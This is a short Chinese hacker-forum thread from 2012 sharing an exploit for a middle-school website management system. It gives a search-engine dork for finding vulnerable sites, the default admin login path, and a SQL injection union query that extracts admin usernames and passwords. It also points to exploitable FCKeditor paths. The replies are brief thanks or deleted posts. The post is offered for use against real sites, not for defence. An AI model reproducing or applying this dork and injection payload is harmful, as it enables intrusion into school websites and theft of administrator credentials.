NO.001中学网站管理系统漏洞（转）

HUC-逍遥 · 发表于 2012-9-20 10:21:23

关键字:inurl:schoolmate.asp

默认后台:admin/login.asp

EXP:

联合查询 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin

另:FCK编辑器有几处可利用

admin/fckeditor/editor/

显示全部楼层 · 发表于 2012-9-20 14:49:17

提示: 作者被禁止或删除内容自动屏蔽

名哲 · 发表于 2012-9-20 14:50:30

感谢LZ分享

显示全部楼层 · 发表于 2012-9-22 18:23:07

提示: 作者被禁止或删除内容自动屏蔽

无痕 · 发表于 2012-9-23 00:13:15

好好学习

08小天该用户已被删除	发表于 2012-9-20 14:49:17 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
08小天该用户已被删除
	回复支持反对使用道具举报

禽兽该用户已被删除	发表于 2012-9-22 18:23:07 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
禽兽该用户已被删除
	回复支持反对使用道具举报